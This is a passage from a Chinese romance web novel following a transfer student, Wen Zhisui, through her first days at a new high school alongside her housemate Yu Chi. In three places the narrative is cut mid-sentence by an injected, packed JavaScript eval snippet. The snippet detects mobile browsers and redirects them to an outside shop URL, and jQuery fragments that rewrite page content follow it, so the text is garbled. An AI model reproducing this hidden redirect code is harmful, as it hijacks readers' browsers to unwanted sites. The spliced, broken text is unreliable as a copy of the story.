温之岁那会儿嘴里塞了半颗水煮蛋,头摇得跟拨浪鼓似的,小小一截马尾在脑后摇晃,含含糊糊拒绝:“不用了梁阿姨,我自己去就可以。” 她又喝了口豆浆,把嘴里的东西都咽下去,说:“我上周报道就是自己坐公交去的,认识路的。” 梁女士脸上的笑意完全止不住,似乎当真把人当自己亲闺女了,柔声答应:“好,那也可以的。” 俞迟耸耸肩,哼了声说:“一会别迟到了就行。” 然后挎上书包拎着钥匙就开门走了。 多亏他提醒,温之岁抬头看了眼墙上的钟,才惊觉时间确实不太够了,慌乱把嘴里的食物全都咽下,立马背上书包跟着他一块出门。 两人一起走到小区门口的公交车站,俞迟也没有要走的意思,扶着他那辆白色的山地车站在温之岁身边,看上去也要等公交。 温之岁有点看不懂他到底要干嘛了,总不能要把山地车带到公交车上去吧? “俞迟。” 俞迟又没给她好脸色,或者说他这人本来就这样,天生爱装酷。他狐疑地瞥她一眼:“干嘛?” “你还不走吗?” “等看到你上车了我再走。” 哈?那样会来不及的吧。 “你不会来不及吗?公交车应该马上就来了,我知道坐哪路,真的丢不了。” 俞迟又哼了声,侧头,目光落在女生脑后的一小截马尾辫上,问:“你之前有在这个时间段坐过公交吗?” 温之岁摇头。前几天上补习班都是九点多才乘的公交,确实没在这个时间段坐过。 “现在早高峰,人很多,你能不能上得去车都还是个问题。丢不丢的就更是另说了。” “……”温之岁难得瞪他一眼,“哦。” 单用一个“哦”字来表达对他嘴欠的不满。 但是俞迟还真的没骗人。 21路公交车来的时候,就像是一只吃撑了的小馋猫,慢慢悠悠地摇晃着小肚皮驶来。 幸亏温之岁瘦,在众人的推搡下还给自己挤出了一小片容身的空间。 她成功上了车,站在靠窗的位置旁边,一手拉上头顶的吊环,被周围人拥得身子不自觉左摇右晃,还不忘挥手跟俞迟说拜拜,提醒他赶快走。 俞迟看她安全上车,也算完成了梁女士的任务,骑着山地车就扬长而去了。 …… 就这么在公交车上一顿推拉拥挤,温之岁在庆安一中站下车的时候,满头大汗,出门前认真站在镜子前梳的小马尾也散了。然而她也没功夫顾这么多了,一下车就迅速往高二教学楼的方向跑。 温之岁到高二教学楼楼下的时候,距离上课还有五分钟。 一中为了保证重点班的学习环境不被打扰,特意把文理科的重点班的教室都安排在了教学楼顶层。 她又一路小跑上了五楼,找到一班的教室,站在门口顺了顺呼吸,才抬起头视线下意识往教室里扫了一圈。 因为班主任还没进班,教室里这会儿乱成了一锅粥。 同学们分了好几个小群体窝在一块,聊天的,抄作业的,睡觉的,总之,干什么的都有。 但她没在那一窝一窝的小群体里看到俞迟。 温之岁是真挺担心他因为陪自己等公交迟到的。 她正犹豫着要不要先找个位置坐下,一个扎着高马尾的女生主动走了过来,笑着拍了拍她的肩,和她打招呼:“嗨!是新同学吗?” 温之岁看了女生一眼,也笑,点头:“对。” “自我介绍一下啊,我叫胡筱和,一班的班长。徐老外婆昨天就跟我说了你要来,还说让咱俩做同桌呢。” 徐老外婆? 胡筱和边说边把温之岁往自己的位置领,见她一脸疑惑,哎了声,解释:“就班主任徐平啊,我们大家都这么叫他,因为他人真的巨啰嗦,以后你就懂了,哈哈哈哈。” 胡筱和带着她在靠窗那组的倒数第二排停下,指了指靠近过道的那个位置:“喏,这就是你的座儿啦。” “谢谢啊。” 温之岁跟胡筱和道了声谢,把书包放下,从口袋里掏出纸巾,开始擦书桌和椅子。 “不用谢!”胡筱和也从最后一排绕进自己的座位,两胳膊撑在桌上,“哦对,忘记问了,你叫什么名字啊?” “温之岁。” 胡筱和重重拍了下桌子,一锤定音:“得,这也算是相互了解了,那以后咱俩就是朋友了啊!” 桌子擦干净了,温之岁又开始擦椅子,笑着点头:“好啊。” 胡筱和也抽了几张纸巾开始帮温之岁一起擦椅子,她从小活泼开朗,话匣子一下就打开了:“一中不是高一上学期末就文理分班了嘛,我来这个班没多久,同桌就因为心理出问题休学了,整整一个多学期下来,我都是一个人坐的,不知道你能不能感同身受那种感觉啊,真的就很,孤独,寂寞,冷啊!” 温之岁失笑,瞥了眼后排的两张桌子。胡筱和身后的那张桌子看上去没什么特别的,应该是主人还没到班上,椅子还倒扣在上面。 另一张,也就是她身后的这张,桌上整整摞了两大叠书,因为过了一个暑假,书的封面上还积了一层薄薄的灰尘。 出于好奇,温之岁问:“我身后的这个位置,是没人坐吗?” 话音刚落,后门响起一道中二浑厚的男声:“喂!有没有人想抄作业啊?一本五元,先到先得啊!” 温之岁回头,看见两道高挺清瘦的身影从门外走进来。 先进到教室里的那个男生温之岁有印象,是那天在电梯里最先发现她的男生。只见袁川晃着手里厚厚一打的作业本,在到处吆喝叫卖自己的暑假作业。 “哎,袁狗你这作业准确率有没有保障啊?别一会抄了是全错的,到时候你可得给我退钱加赔偿精神损失费啊。” “啧,那你这不废话么!正确率肯定有保障的啊。”袁川勾上身旁俞迟的脖子,与有荣焉似的,“我们阿迟的答案,你难道还不信?” 而俞迟似是压根懒得理袁川,不接腔,把他的手从肩上抖落下去,就抬脚往自己的座位走了。 温之岁看俞迟来了,暗自松一口气,他没迟到就好。 胡筱和拍拍她的肩,指了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525953|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指袁川:“喏,看见后门那傻大个了吧,你后面这张桌子,就是他的。” “不过他上学期期中考考烂了,被踢到平行班去了,”胡筱和说着开始咯咯笑了起来,“上学期期末也考砸了,还是没得回来。” 一中重点班的名额是滚动制的,但凡是重要的联考或是像期中期末考这样的考试,名次要是跌出了全年段前一百,就会被踢到平行班。同样的,平行班的同学也有机会进到重点班。 虽说一切都是凭实力说话,但总归还是残酷了些。 温之岁又开始隐隐有些担心自己。 她坐在位置上发愣的功夫,俞迟已经在她斜后方的位置停下了。 察觉到有人过来的动静,温之岁回头看了他一眼,惊讶在眼底一闪而过,很快,她想起什么似的,快速把兜里剩余的半包餐巾纸递过去给他,提醒:“桌子上面都是灰,你拿纸巾擦擦吧。” 俞迟没骨头似的半倚在窗户边,接过,故意问:“用完了怎么办?” 温之岁顿了下,心说还有小半包纸巾呢,不好都用完了的吧? “应该……不至于吧,就擦擦桌子和椅子,用不了这么多吧。” 俞迟不再说话了,抽出纸巾开始擦桌子和椅子。 这人估计是有洁癖,手指都不带愿意碰到桌子的,就揪着纸巾的一小角,慢慢地擦,一张纸还没用得怎么样呢,就又抽了张出来,没一会,还真就把半包纸巾嚯嚯完了。 少爷果然是少爷。 温之岁默默收回视线。 “你跟俞迟之前认识啊?”胡筱和目光在两人身上游移,好奇地问。 温之岁在想怎么回答。 还没等温之岁说话,袁川不知道什么时候蹿了过来,看到她很是惊讶,惊呼了声:“我去!这不妹妹吗?” 胡筱和看不惯他这掉价的行为,毫不客气:“袁狗,你瞎喊什么呢!能不能别见到个漂亮女孩就跑来沾边?” “我靠,冤枉啊!”袁川嘴里含了颗糖,“咔嚓”一下就把糖咬碎,解释,“她是阿迟表妹啊,前几天我们还在阿迟家碰到了呢!那阿迟的妹妹不就四舍五入约等于我的妹妹么,我喊她妹妹有问题?” 温之岁和俞迟:“……” 胡筱和白他一眼:“有病吧你。” 预备铃声响起,徐平怀里揣了个杯身上印有市中小学高级教师字样,且那字样掉了大半的保温杯,迈着他那独一无二的大摇大摆的步伐,踩着铃声准点进班。 一进门就看见了在教室后排到处乱窜的袁川,徐平把保温杯和教案往讲台上一搁,恨铁不成钢,阴阳怪气道:“袁川啊,我看你每天也没什么正事儿,哎,就喜欢在我们一班到处瞎晃,你倒是什么时候给我考回来,好光明正大地在这教室里晃悠啊。” 袁川那会儿就站在俞迟座位旁边,被徐平数落了他也不恼,悄悄摸摸把俞迟抽屉里的游戏机塞进自己书包后,就溜出了一班的后门,走之前还不忘嘻嘻哈哈地跟徐平打诨:“得嘞!保证不让您失望。” …… 班里来了位转校生,最经典的流程无非就是让新同学上台自我介绍。 不知道是不是徐平看温之岁比较安静内向,特意照顾她,温之岁获得了在台下跟大家自我介绍的权利。 她的自我介绍很简洁,只简单介绍了下自己的名字,语气也听不出来有什么波澜。但胜在真诚,女生最后向大家浅浅弯了弯唇,漂亮的杏眼带着笑意,亮晶晶扫过全班。任谁看了都会欢喜。 “欢迎欢迎啊!欢迎温之岁同学加入我们一班!” 两秒后,不知是哪个“显眼包”先起了个头,大家也都迅速捧场,教室里一下掀起了片热烈的掌声。 ——欢迎温之岁来到庆安一中,高二一班。 5. 第五块“岁”片 上午的时间一溜烟的功夫就过完了。 早上最后一节课是自习课,放学铃声一打响,蓝白色羽毛的鸟儿们犹如刚刚被放出笼,一窝蜂飞往校门口和食堂。 胡筱和写完物理练习最后一题的答案,顿感身心愉悦,没忍住长叹一口气,伸了伸懒腰。 自顾自放松完毕,一转眼发现温之岁还在埋头和题目苦作斗争,胡筱和拍拍她的肩,提醒:“走吧,吃饭去!” 两人手挽手,刚走过二班后门,碰到了正巧从三班教室出来的俞迟一行人。 温之岁看过去,大致认清这群男生和上次在俞迟家碰到的是同一拨人,只是还多了两三个新面孔。她再一次在心底感叹俞迟到底是怎么拥有这么多朋友的。 袁川先看到她们,声情并茂挥了挥手向两女孩打招呼:“你们也去吃饭啊?” 胡筱和笑呵呵勾上温之岁肩:“对啊。” “巧了啊!我们也去吃饭,一起一起。”周嘉佑边说边推搡着一行人跟在温之岁和胡筱和的后边。 温之岁认出来他,是前两天电梯里的那个“花孔雀”,穿上简单干净的校服反倒让人看着更加顺眼。 巧个屁哦!这个时间谁不是要去食堂吃饭?胡筱和翻了个白眼,拉着温之岁加快步伐,俩人快速拐了个转角,跟身后的男生们渐渐拉开距离。 胡筱和带着温之岁去了一中的第二食堂。她说二食堂一楼最右侧窗口的盖浇饭是一中所有食堂里最好吃的午餐,温之岁今天第一天来,必须尝尝! 一中味道最好的午餐果然名不虚传,她们走进来时,二号窗口已经排起了一条长长的队伍。 食堂人可真多啊。两女生手牵着手,数不清到底说了多少句“不好意思能不能让一下”才顺利排上队伍。 前边男生个子太高,挡了大半的视野,胡筱和踮起脚看了看队伍的形势,大感不妙,开始忧心起来:“早知道不该磨蹭这么久的,万一排到我们的时候刚好没了怎么办?” 一边说一边开始双手合十,祈祷:“拜托拜托!今天中午的盖浇饭一定要有我们俩的一份啊……哦不,两份,要一人一份。哎呀哎呀实在没有的话一份也行……” 温之岁噗嗤一声被逗笑,提醒她队伍动了,往前面走走。 “巨型蟒蛇”就这样慢慢挪啊挪,变啊变,最后成了一只小小的毛毛虫。温之岁是这只小毛毛虫的最后一截“尾巴”。 “阿姨,我们要两份肉丝盖饭!”胡筱和生怕没了她们的份,前一位男生还没打上饭呢,她这边就已经大声喊出口了。 打饭阿姨手下动作没停,抬头瞄了眼后边的俩小女孩:“一共就剩下两份肉丝盖饭了,你们前面的小帅哥要一份,就只剩一份了。” “啊…那好吧。” 两人思忖一番后,已经决定要去吃旁边普通窗口的饭菜了,前边的男生却忽然回头,说可以把自己那份让给她们。 天降喜讯!胡筱和也不扭捏,立马接下男生手里的盘子。 温之岁从阿姨那领了最后一份肉丝盖饭,礼貌和男生道谢,询问她们该怎么把钱还给他。 男生说不用。他看着温之岁,总觉得两人以前见过,好眼熟。 一时半会倒也确实没想起来什么。 温之岁和胡筱和坚持要还他钱,然而都被男生拒绝。两人只好心安理得接受下陌生人的好意,再次同他道谢,开开心心端着餐盘找座位去了。 两人在靠窗的一桌坐下。靠窗的这一桌,正对着空调的出风口,光线也好,是个绝佳的吃饭的地儿。 温之岁在胡筱和期待的目光中尝了第一口肉丝盖浇饭。 可味道并没有达到她想象中该有的程度。并不是温之岁对它抱有很大期望,只是胡筱和从下课一直夸到现在,她不免在心里拔高了对它的期待值。 也许是每个人的口味不太一样?她还在想是不是要象征性地夸一夸。 对面胡筱和看她这反应,直接哈哈大笑出来:“我就知道你会是这个反应。” 温之岁不解地看她。 胡筱和撇撇嘴,完全一副老油条的模样:“食堂的饭再好吃能好吃到哪去?” “要真像我吹的那样,刚刚那帅哥也不可能这么爽快地就把饭让给我们吧?” 温之岁无奈弯弯唇,拨动着餐盘里的食物:“班长,欺负新同学不好吧?” 胡筱和嘿嘿一笑:“确实不太好,不过逗你还挺有意思的。” “……” “对了,你上了一早上的课,觉得怎么样啊?”胡筱和其实早上就想问这个问题了,但一直没找到机会。她看温之岁状态挺紧绷的,一个早上也没敢找她说几句话,怕打扰到她。 温之岁隔了几秒才回答胡筱和的问题。她把嘴里的食物都咽下去,实话实说:“不怎么样。理科老师的上课节奏都太快了,一下子不太适应。” “嗐,正常情况。”胡筱和抿了口饮料,宽慰她,“我们刚开始上课的时候也不适应,更别说你还落了些课程,暂时跟不上挺正常的,习惯习惯就会好啦!” 温之岁鼓鼓嘴,倒是没像胡筱和那么乐观:“但愿吧。” “下午有老外婆的课,你放心,他的课节奏不会很快,甚至有些时候我们还嫌弃他太磨蹭了呢!” 温之岁仿佛又看到了点希望:“真的吗?” “对啊。”胡筱和给了她个“姐跟你保证”的眼神,又去拍拍她的肩,鼓励似的,“不过你得提前准备好了,以徐老外婆的个性,你今天下午上课的时候一定会被他叫起来回答问题,傍晚的时候说不定还会被他拉去办公室聊天。” …… 接下来的半天时间里,温之岁见识到了什么叫真正的预言家。 下午的一二节课是数学连堂,睡意最浓的时候,徐平惯会使用“点名大法”来提供叫醒服务。毫无疑问,徐老外婆的第一位顾客就是温之岁。 “好,这是一道函数求极值的题目,解法有很多种。我们就请新来的温之岁同学和大家分享分享她的解法。” 幸好是道中等难度的题目,也恰好是温之岁暑假重点学过的内容。她思考了会,报了个正确答案,徐平便点点头让她坐下了。 同时,胡筱和的第二个预言在徐平第二节课结束以后也得到了验证。 下课铃声响起,宣告着两节数学连堂结束,所有人长舒一口气。徐平把讲义拾掇拾掇好夹进胳膊里,腿刚大摇大摆迈出去半步,又退回进教室里,隔着大半个班的人在门口喊温之岁: “傍晚吃完饭来我办公室一趟。” 然后又迈着大摇大摆的步伐走了。 …… 然而,胡筱和预言中了开头,却没猜中中间和结尾。 傍晚的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525954|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,温之岁不敢再磨蹭,和胡筱和两人快速吃了顿晚饭就从食堂回来去了徐平办公室。 办公室的门虚掩着,温之岁轻敲了两声,得到徐平的回应,推开门走进去。 她转身把门关上,办公室里传来一声怒音:“睡过头了?我要你给我一个合理的解释,你听听你自己听听!你说的合理吗?” 温之岁闻声望去。 俞迟站在和门口隔了三张办公桌的地方。 旁边办公桌上坐着的正是陈严明,他们班的物理老师,也是高二年级的教导主任,温之岁来学校报道那天见到的第一个老师就是他。梳着光溜溜的大油头,区别于徐平,陈严明身着浅蓝色衬衫,更显威风和气场。 陈严明显然是真的被俞迟气着了,茶杯端起又放下,最后所幸没抿一口茶。他抓起脚边的垃圾桶,一次性把嘴里的茶叶渣子吐干净,哀怨:“学校和老师可都是对你抱了很大的期待的啊。你说缺考就缺考,说睡过头就睡过头,有你这样当学生的吗?” 俞迟这回站姿还算端正,规规整整地杵在陈严明面前。他个子高,宽肩窄腰那种类型,这种身材的人都是典型的衣架子。同样一身蓝白色校服,到了他身上就会更显干净青春。 只是说出来的话依旧惹人恼火,竟然还有闲心和胆量开起陈严明的玩笑:“少了我一个不还有别的同学么。老陈您老往怀里抱那么多人的期待,挺沉吧?” 陈严明这会简直气不打一处来,恨铁不成钢,大吼:“那能一样吗?你去了我们学校怎么着也能再多一块银牌,而且还大有可能是块金牌啊……” 余光里有一道纤细熟悉的身影出现,俞迟几不可查地侧了下头,半眯着眼瞥过去。两秒后他回神,勾勾唇笑开来,像抓住了陈严明的什么小辫子:“老陈,这才是您想说的重点吧。” 陈严明干咳一声:“这当然不是重点了!重点是你的态度……” 陈严明话还没说完,余光看到隔壁正乖乖听徐平说话的温之岁,跟徐平说了声不好意思,打了个招呼就把人叫到面前来。 他从梁意那知道他们现在住在一块,是表兄妹,大有一副要拔高这个从而贬低另一个的架势。 于是接下来,陈严明和徐平一齐上阵。俞迟好似瞬间成了法庭上的被告,陈法官和徐法官针对其行径罗列了百八十条罪.行。 什么学习态度不是很端正啦,要是再认真点成绩肯定会有质的飞跃啊等等。末了,还要点点温之岁,让她一起帮忙纠正纠正俞迟的学习态度。 温之岁不知道自己从什么时候起成了俞迟的代理人。他们每说一个俞迟的缺点,就会夸夸温之岁,好像她已经是他们的学生很久了一样,弄得温之岁尴尬在原地。她无地自容,只好在每一次他们看过来时乖巧点头,附和应下。 她好像莫名其妙地成了他的“家属”…… 俞大少爷就显得悠闲多了。他不用敷衍徐老外婆和陈老头了,老神在在地立在那块儿,看他的“临时代言人”害羞地红了脸,点点头没多久后又摇摇头,时不时地弯出一抹尴尬的假笑。 温之岁不自在地勾勾耳后的碎发,那耳朵红得像是要滴血。 俞迟瞥了一眼,他看在眼里。好像莫名其妙被什么东西戳中了爽点,觉得这会儿心情极佳,心底的那座小花圃似乎吸引了上千只小蜜蜂来蛰咬采蜜,他整个人都跟着轻盈荡漾起来。 6. 第六块“岁”片 温之岁得到陈严明和徐平“放行”的允许的时候,已经到了一中的晚自习时间。 经此一回,温之岁彻底对胡筱和口中徐平的“战斗力”有了真正的了解。 “徐老外婆”,果然名不虚传。 陈严明和徐平也有得一比,一中的这俩人甚至组合组合就能直接上春晚说相声了。 温之岁从办公室里出来,将办公室门轻轻合上。 今日天气晴。夏末的傍晚,远处天边橙红交接,天色渐渐暗去,空中疏星点点,月牙悄悄冒出了小尖儿。整座城市辽阔静谧。 整栋教学楼鸦雀无声。 所以当温之岁转身,冷不丁地撞见靠在墙角处的俞迟,她整个人都被吓了一大跳。 老师不是让他先回去上课了吗?怎么还没走啊。温之岁惊魂未定,不知道自己竟然下意识瞪了俞迟一眼。 俞迟看她一眼。心说你这姑娘怎么还玩上碰瓷了啊。我干嘛了我?我还能是鬼?看把你吓的。 橙红交映中,温之岁看见俞迟在笑,知道他是在嘲笑自己。她觉得他可真幼稚,不想理。自顾自往前走:“徐老师和陈主任不是说让你先回去吗?” 俞迟懒洋洋地抄兜走在她旁边,高一到现在还是第一次听到有人这么规规矩矩喊陈老头和徐外婆“老师”和“主任”,没忍住又哼一声笑开来。 这一声嗤笑传到温之岁耳朵里,她却品出了些异样的感受。 犹豫了几秒后,温之岁还是停下脚步,认真喊住俞迟。 她这一声叫的未免有点太过认真。 好端端的搞这一出是个什么意思?奇奇怪怪。俞迟的心下意识收紧。 他敛目,居高临下看她。 “你放心吧。刚刚陈主任和徐老师说的关于你上课睡觉、不交作业……等等一系列的事情,我都不会告诉梁阿姨的。” 这会已经到了上课时间,走廊外没有其他人,楼道里的感应灯也在此刻恰好熄灭。 女孩一双大眼圆溜溜亮晶晶,好似夏夜空中的星星。她语气无比真诚,就差要竖起三根手指头放在脑袋边上狠狠发誓了。 “……” 俞迟顿感无语,原先收紧的心脏瞬间恢复回原来的形状。他用气音故作毫不在意嗯了声,不想再和温之岁这个脑回路不正常的人走一起,大长腿一跨,自顾自地就往教室走。 温之岁就这样看他渐渐走远:“……” 又干嘛了啊。 —— 新学期的第一周,温之岁自我感觉地过得不太顺心。 周四早上,她达成了人生的一项新成就。 ——破天荒地迟到了。 所幸的是那天早上恰好轮到徐平在学校的另一个大门东门值班,早自习没老师坐班。她从后门悄悄摸摸溜进去,只碰到了个半路杀出来和她开玩笑的胡筱和。 胡筱和是班长,徐平不在就由她看早自习。她故意张开手臂,作势要拦温之岁:“迟到了啊?” 温之岁又一次把马尾跑散。她捋了捋两颊乱糟糟的头发,眉毛皱成一团,委屈巴巴:“嗯,早上有点赖床,起晚了。” 胡筱和笑笑,回头瞥了眼其他人,确认现在没人看见,悄悄凑到温之岁耳边,学徐平往常的语气:“进去吧,不要再有下次了啊。” 温之岁了然,被逗笑:“知道啦,谢谢胡老师。” 温之岁坐到座位上重新整理了下马尾。她卸下书包,刚从包里拿出早自习要背的英语范文,前座的男生猛一下转过身来,问她:“你早上迟到了啊?” 桌身因为男生猛一下的转身摇晃起来,温之岁忙扶稳,拖着桌子腿往后挪了挪。她看向男生,不明所以但还是点点头:“嗯。” “被值周老师抓到了?” “…对。” 前座男生名叫张何,也是活泼开朗的性子,有点自来熟,温之岁有时候不太能招架得住。他夸张地哎一声:“你傻啊?起晚了就赶紧让你爸妈和徐老外婆说一声啊,就说你生病了不舒服,要请假。干嘛还来当冤大头,你信不信,一会老班绝对会说你。” “……”温之岁不知道说什么,只能敷衍他一句,“嗯,学到了学到了。” 也是在这时,斜后方的某人拿笔捅了捅她的后背。 温之岁回头,对上俞迟一双黑白分明的丹凤眼。很奇怪,以前她觉得眼睛要双眼皮才会好看,这家伙虽然是单眼皮,却不妨碍那双眼睛依然生得漂亮。 干净,清明。像山间的清泉。 “怎么了?”温之岁问。 俞迟看一眼她又低下头去,他在核算一道题,不太能分心:“早上没赶上车?” 他俩今早前后脚出的门,俞迟知道她没赖床。以温之岁的性子,压根也不会赖床,她平常生活很自律。 温之岁嗯了声:“今天早上公交车太挤了,第一趟没赶上,坐的第二趟车,就来不及了。” 俞迟抬头看她一眼,那表情贱兮兮,就像在说:我都说了吧。 温之岁会意,微微叹一口气:“下次早点起床应该就没问题。” 听到这话,俞迟又抬头看了看她。目光落在女生眼下的那两片乌青,和她白净的脸蛋格格不入。 温之岁最近应该挺拼的。他能感觉得出来,从暑假开始她精神就很紧绷,昨晚都将近一点钟了,俞迟做完一套试卷捞起衣服准备去卫生间洗澡,一出门发现她卧室里的灯竟然还亮着。 好像从暑假开始,她就保持这个习惯了。 每天学到这么晚,竟然还打算再早点起床。俞迟撂下手里验算的笔,抬头认真问她:“会骑小毛驴吗?会的话让我妈给你买一辆,方便点。” 温之岁面露难色。他说得太理所当然和简单了,又或许这本身就不是件难事。但梁阿姨上回问过她的,那时候她还和梁阿姨说不需要。 俞迟不懂她心里那些弯弯绕绕的小想法。他以为温之岁是因为不会骑车,瞥她一眼,悠悠转起刚刚被撂在桌上的中性笔,直说:“你要是是不会的话,我能考虑考虑牺牲我周末的时间……” “教教你”这三个字卡在俞迟喉咙里还没说出去,温之岁字正腔圆丢下一句“不用了,我会骑的”,就转了回去。 俞迟:“……” …… 话是这么说,温之岁还是没有找梁意说明这个情况。开学以来梁阿姨医院的工作挺忙的,白班夜班来回倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525955|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她甚至没怎么在家碰到过梁阿姨,更别提要找机会说这个事。 庆安一中除了高三年级两周一休,高一和高二年级都是周末单休。周六下午放学,周日晚上再回学校上晚自习。 周六这天傍晚,温之岁和俞迟两人吃过晚饭后,她就回了卧室写作业。俞迟也回到书房里。 医院的家属楼大都是老房子,年份长了,隔音效果都不太好。七点左右,温之岁听到俞迟拉开那扇老旧密码门出去了。 他再回来时已经将近七点半,温之岁听到了同样的一声密码门解锁的声音。之后俞迟停在她卧室的门外,敲了敲门。 温之岁把门打开,就见他往她怀里扔了串钥匙:“下楼,试试车去。” 俞迟给她挑的是一辆纯白色的小电驴。他猜她应该喜欢白色,她平常穿的衣服、书包、行李箱、鞋子大多数东西都是白色的。 温之岁看着这只“小白驴”,问:“你刚刚就是去买它了啊?” 俞迟想看她反应猜她喜不喜欢,结果这姑娘表现地平静的很,看不出来到底是喜欢还是不喜欢。 挺没劲的。 俞迟努了努嘴,听她这么问,又哼一声:“不然呢。等你跟我妈说得等到什么时候去?你还打算再迟到一次吗?我可不想哪天被徐平喊去办公室,让我以后要记得监督你早点起床。” 这会温之岁听出来他在开玩笑,上前拧了拧“小白驴”的刹车,默默嘟囔:“明明是老师让我看着你,说你得摆正学习态度。” 俞迟发现温之岁这姑娘好像总能脱口而出些出人意料的回答。他勾唇笑开来:“你幼稚鬼吧,这你也要争啊。” 他走上前去帮她把车子扶正,眼神示意她可以坐上去试试。 温之岁双手扶上车把,坐了上去,确认没什么问题后,没轻没重地狠狠拧了下车把手。 于是,“小白驴”就这么在俞迟的眼前咻一下“飞”了出去。 “啊呀呀——” 普通的周末傍晚,家属楼的楼下竟传出一声声尖叫的女高音。 慌乱之下,温之岁又赶紧拧上左刹,试图让正在狂奔的“小白驴”停下,然而她右手拧车把的力道并没有跟着放轻。 又是刹车又是加速,最后“小白驴”直直撞上了小区中心花坛最外圈的石桩。整辆车子侧躺在花坛的边沿,前边的白色漆纹被磨掉了大半。 俞迟心好似一下被吊了起来,他立刻追过去,帮她把车子扶起。温之岁今晚穿的是运动裤,俞迟反复确认了好几遍她腿没受伤,才敢放下心来。 心放下之余,他竟然又有点生气,怎么会有像温之岁这样没轻没重不管不顾的人啊。“你到底会不会骑车?哪有像你这样的?” 温之岁目光落在小白驴被蹭花的地方,心下生愧:“对不起啊。我很久没骑了,所以一下子把握不好力度。” “……” 那晚俞迟终于明白他妈梁意为什么这么喜欢温之岁了。 温之岁这姑娘,惯会装乖。 眼尾一垂,小脸一皱,就那么直愣愣看着你。 他躺在床上,翻来覆去,彻底服了。 得,全是这姑娘收买人心的套路。 7. 第七块“岁”片 周日一整个白天,温之岁都在小区楼下,试图彻底驯服那头倔强的“小白驴”。 小时候温远良教过她骑自行车。从小练舞的原因,温之岁平衡性很好,别的小朋友摔了好多次,甚至把膝盖磨破了才学会,而她仅仅用了半天的时间,就彻底学会了自行车。 她本以为骑小电驴和骑自行车差不多。都是两个轮子,小电驴还不需要蹬,应该更容易才对不是么? 所以到底是她大意了。对于初学者来说,掌握拧电动车油门的力度也是需要花费些时间和力气慢慢练习的。 终于是在晚饭前,她慢慢上道了。觉得自己好像真的学会了,温之岁心里可高兴,她拿出手机,对着自己和“小白驴”来了张自拍,戳进了她在南川的好朋友苏舒佳的聊天框。 【温之岁:[图片]】 【温之岁:学会啦学会啦!比耶/比耶/】 她先给苏舒佳发了消息,又一字不落地把这两条信息转发给了胡筱和。 胡筱和昨晚听说温之岁骑电动车摔了,一连给她转了十几条“新手如何成功学会小电驴”的经验帖。温之岁被她逗得不行,也倒是真的通过那些帖子找到了些有用的方法。 发完消息,温之岁骑着小白驴去了家属楼外面的街上。 周末的下午,街上人不算多。温之岁小心翼翼开着,她背挺得很直,全神贯注,生怕一个不注意,就和下个拐角突然窜出来的车子撞上。 几乎是带着一路的紧张和一点点的小窃喜,温之岁最后在“飘飘香饺子馆”的门前停了车。 她自我感觉骑得不错。走进店里,和前台负责点单的服务员说了声要一份芹菜牛肉水饺,就在窗边的那一排高脚凳里随便挑了个位置坐下。 坐下没多久,冒着热乎白烟的圆滚滚的大水饺就被人端了上来。 给她上餐的是位年轻女人,长发盘起,戴着顶高高的厨师帽,把水饺端到桌上后又贴心地帮忙把勺子和筷子摆放好。 女人朝温之岁莞尔,手里不停地在比划着些什么。温之岁猜出她大概率是位残疾人,耐心地观察女人的每个动作,蓦地明白过来她是想说:饺子刚出锅,很烫,要记得小心。 便朝女人回以同样友好的笑容。不确定她能不能听得清声音,温之岁故意放慢了说话的语速,一字一顿,希望女人能看清楚自己的口型:“谢谢,我会小心的。” 女人点点头,再次莞尔,回了后厨。 微信消息“叮”一声进来时,温之岁恰好咽下最后一口饺子。 她点亮屏幕看了眼。是俞迟。 【俞迟:嗯。】 【俞迟回复了温之岁的图片:不过你这表情还挺有意思的,平常怎么不见你做?】 温之岁登时瞪圆了双眼。 往上划了划和俞迟的聊天记录,又退出来,飞速点进和胡筱和的聊天框…… 霎时间恍然大悟。她怎么,还把消息发错人了啊……? 怪就怪在俞迟和胡筱和的微信头像都是黑灰色背景的,乍一看过去真的不止一点点相像。 “……” 温之岁顺着俞迟发的那条消息点回了自己刚刚错发给他的那张照片。 那张照片完全是她随手拍的,标准的45度角仰望天空的“死亡角度”。 照片里女生额间的碎发黏糊糊粘在皮肤上,左手举着手机,右手比了个剪刀手的手势,对着镜头微微弯唇,阳光刺眼,她半眯着眼睛,笑意腼腆。 怎么看怎么傻里傻气的…… 温之岁撇撇嘴,开始打字:【不要。你不觉得这个表情看起来很傻吗?】 到底还是温之岁。 俞迟看到她这句更显傻里傻气的消息时,没忍住噗嗤一声勾唇笑开来。 旁边陈奇和袁川一群人煞有介事地回头看了他一眼,表情暧昧。 